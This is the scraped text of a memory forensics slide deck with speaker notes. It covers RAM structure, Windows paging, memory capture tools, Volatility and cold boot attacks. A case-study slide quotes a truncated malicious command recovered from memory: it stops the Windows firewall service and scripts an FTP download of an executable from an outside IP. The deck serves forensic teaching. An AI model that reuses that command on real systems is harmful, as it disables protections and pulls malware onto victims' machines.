Memory Forensics
11 likes6,166 views
The document provides a detailed overview of memory forensics, including concepts related to live and dead memory, memory management, and processes for analyzing memory dumps. It discusses the architecture of RAM, memory protection, and the differences between user and kernel modes, along with key tools and techniques for capturing and analyzing memory. Additionally, it highlights various memory formats and the importance of memory state reconstruction in forensic investigations.
Memory Forensics
- 1. Shri Memory Forensics Boonlia Prince Komal Don’t pull the Plug Gmail : boonlia@gmail.com Facebook: http://www.facebook.com/home.php?#!/profile.php?id=1701055902 or search for my mail id boonliasecurity@gmail.com Twitter: http://twitter.com/boonlia
- 3. Live/ Dead Memory Forensics • What is Live Memory and what is Dead Memory – RAM – Pagefile – Hibernation file Hard Drive Live Memory Forensics Where is Hibernation file?
- 4. Few Basics of RAM • A grid of Capacitors (DRAM) • Bucket with holes • Random Access • Parity Bit for error reporting
- 5. A Grid of Capacitors Row Select: Set to high for the related row Column Select: Set to high for related column Read write line set to high for read and low for write Data inflow or outflow depending upon the R/W state Address Bus: Carries the Address of memory location Data Bus: Carries the data in and out through the same wires (Read/Write bus or simply Data Bus)
- 6. Bucket with whole (DRAM) Capacitors by their very nature gets discharged rapidly Any read write operation adds to these capacitors being discharged This calls for regular refreshing where in the entire data is read and written back SRAM Uses transistors (2-4) per bit to show on or off state per bit
- 7. Memory Address space Byte Addressable Memory (Reads 8 bits at a time) 32 Bit Processor 64 Bit Processor 2^32 2^64 4 GB 17 Billion GB 40 Bit implementation 50 Bit implementation 1024 GB 1024 TB
- 8. Memory management at a glance Processor Memory Manager Application DMA ?
- 9. Need For a Memory Manager Protect Operating system and Kernel Memory Space Prevent Application violations (Accessing other application's Memory) Allocate memory judiciously Allow Multiple applications to co-exists Improve Memory utilization efficiency Extend the Memory capacity via swapping Provide Application a simpler platform to use memory (Virtual memory Space) You dont have to create two programs for 1 GB and 2 GB RAM machines Managing the shared memory
- 10. User mode v/s kernel Mode • Memory protection • Location of both the modes in RAM • /3GB switch in boot.ini • Where the Page directory and Page Table entries are stored • What if User mode needs to access something in Kernel Mode
- 11. User Mode V/s Kernel Mode Memory
- 12. Kernel Mode Location of Page table and Page Directory User Mode 4GB Space 4GB Space Without With PAE PAE
- 13. Overview of Virtual Memory Management on X86 Processor TLB Transaction lookaside buffer
- 14. Memory management in windows Windows on 32 Bit X86 Architecture can access upto 4 GB Memory Windows can provide 4GB of memory space each to multiprocesses despite the total memory being 4 GB max This is done by using the X86 feature called paging Every Memory page is 4KB
- 15. Virtual memory to physical memory
- 16. The Paging Process in x86 processor Image source: technet.microsoft.com
- 17. Few Concepts in Windows Memory Management Process Memory Usage Counters Virtual Size Private Byte Counter Working Set Physical Memory (Say 1GB) Private Bytes Working Set Virtual 2 GB Size Shared Memory
- 18. Page lists in Windows (Dont confuse with page table) 1) Zero Page list Pages that carries no data and are ready to be assigned to a process 3) Free Page list Pages not being used by any process and free but still contains data 2) Standby Page list Unmodified Pages that are taken away from a process 4) Modified Page list Modified pages pertaining to a process taken away from that process
- 19. Windows Memory Management at a Glance Process Page Working set ve d File Modified a ded ns t a & N ee Page U a 1 M odified D Boot P ages List Sa ve d da ta Hard 2 Drive U nm o dified page s nee Zero d ed Standby Page 3 Me List mo List ry no lon g er n eed ed Free Page n List Exceeding memory use or memory crunch situation in red font
- 20. Memory Management in OS • Memory Manager – Large address space - user programs can reference more memory than physically exists – Protection - the memory for a process is private and cannot be read or modified by another process; also, the memory manager prevents processes from overwriting code and read-only-data. – Memory Mapping - clients can map a file into an area of virtual memory and access the file as memory – Fair Access to Physical Memory - the memory manager ensures that processes all have fair access to the machine's memory resources, thus ensuring reasonable system performance – Shared Memory - the memory manager allows processes to share some portion of their memory. For example, executable code is usually shared amongst processes.
- 21. What can be found in memory • The running processes • The Running threads • The passwords/ Keys and other information • Live registry hives • Live chats and login informations • Malware presence including rootkits • Open connections to the net / Network • Open Files and their remnants • . • . • In fact any thing that processor works upon
- 22. The Process of Memory forensics • Capture the memory • Analyze the memory • Reconstruction of the memory state • Reconstruction of the entire scenario with disk image and memory image in conjunction
- 23. Various formats • Raw Dump (Linear format) (.img/.dd) • Windows Crash dump format (.bin) – BSoD (Written after the system is frozen) • Hiberfil.sys format • Commercial tools format – Winen .E01 kind of format – .Vmem (Vmware) – .Bin (Hyper V) – Fastdump Pro (hpak)
- 24. Capturing the memory • Tools – DD / DCFLDD/ DC3DD • dd if=.PhysicalMemory of=f:memory.img – Memdump – Win32dd – Nigilant32 – Fastdump (Fastdump pro dumps page file content too) – MDD – Winen (Encase) – Memoryze (Dumps the pagefile content too) – Livekd.exe (From microsoft)
- 25. Brief demo on memory acquisition with win32dd
- 26. Hardware approach • Firewire port device (DMA) • http://www.storm.net.nz/projects/16 • PCI Device by Brian Carrier and Joe Grand – Tribble Device
- 27. Analysing the memory dump • String search with strings.exe • Grep search with grep command • DFRWS 2005 (Memparser) • 2007: Aaron Walters- Volatility frmework • Several Plugins for Volatiltiy • Pdfbook, Pdgmail, Pdymail, Skypeeks • Memparser • Memoryzer and Audit Viewer
- 28. Volatility Framework What is volatility Volatility plugins Using volatility on memory dumps Demo with few options for analysis
- 29. Cold Boot Attack • Memory doesn’t gets empty that fast • Even after 30 Seconds to even minutes of system shutdown the memory contains data • This Time can be prolonged if the memory is cooled down. The coolant applied instantly reduce the temperature of -50
- 30. Case Study Shell C:windowssystem32cmd.exe /c net1 stop sharedaccess&echo open 111.67.192.11> cmd.txt&echo chajian>> cmd.txt&echo 123>> cmd.txt&echo binary>>cmd.txt&echo get seo.exe>>…………..
- 31. Gmail : boonlia@gmail.com Facebook: http://www.facebook.com/home.php?#!/profile.php?id=1701055902 You can reach us at or search for my mail id boonliasecurity@gmail.com Twitter: http://twitter.com/#!/boonlia boonlia@gmail.com bhansalireena@gmail.com http://nullcon.net nullcon Goa 2010
Editor's Notes
- #2: Who am I What has been written in forensics book is “Pull the plug” Things changed post 2005
- #12: Check that device drivers are in kernel mode and therefore inside protection. A wrong driver may cause BSoD cause it manipultes memory in kernel Mode
- #15: 32 pin with can specify upto 4 GB of addresses with 2^32 options
- #16: 2 level structure. 1024 X 1024 X 4KB page Every Process has :- PDE structure (Every entry has 20 bits to point to Page table number and 12 bits for page protection and other house keeping) PTE Structure (Every entry has 20 bits to point to 4 KB page (total 1024 X4KB pages and 12 bits for house keeping) PFN (Page Frame number is the 4 KB frame in memory) Processor uses 10 bits to find PDE, 10 Bits to find PTE and 12 bits to identify individial bit in 4 KB page
- #24: Crash dump: Good for analysis, Dumped with frozen state of windows, Debugging tools available from microsoft Cons: Writes on the hard drive, By default only windows 2003 dumps full memory. (Small 64KB dump, Kernel dump and full dump) Possiblity to force dump only with registry tweak and after the system is restarted post registry tweak full dump available only with the system with upto 2 GB of RAM Content of pagefile are over written as the dump first freezes the system, dumps the RAM in pagefile and then proceeds to Winen: Propreitory format from encase. Can be converted to other formats includng Raw format with FTK imager from access data Vmem: Virtual machine can be suspended and perfect image stored in Vmem. Format similar to raw and same tools used to parse it .Bin: a dump format from windows Hibernation file: Compressed, File format revealed by Mattihieu Suiche fo Sandman (Now part of volatility) Can be used as memory dump. U can use it as additional dump and compare with current dump
- #25: Memory is dynamic so try to stop all other activities while performing the capture What do you get….RAM or RAM+Pagefile
- #27: Fireport device: Extremely fast due to DMA (Bypass OS) Storm.net.nz project. A software driver that can be used and installed in backtrack and other packages fools the windows os that it is an Ipod. Not very successful Blue Screen of Death reported Misses few parts of the memory Tribble needs to be installed in the machine prior to incident All in all not much of success on hardware front……Still on most part only softwares are used for memory dumping that might in fact rely on DLL already compromised on the system.
- #28: Strings and Grep: Raw searches and doesn’t provide the full context in which that string is used. Memeparser win DFRWS (Digital forensics research workshops) 2005 challenge Voaltility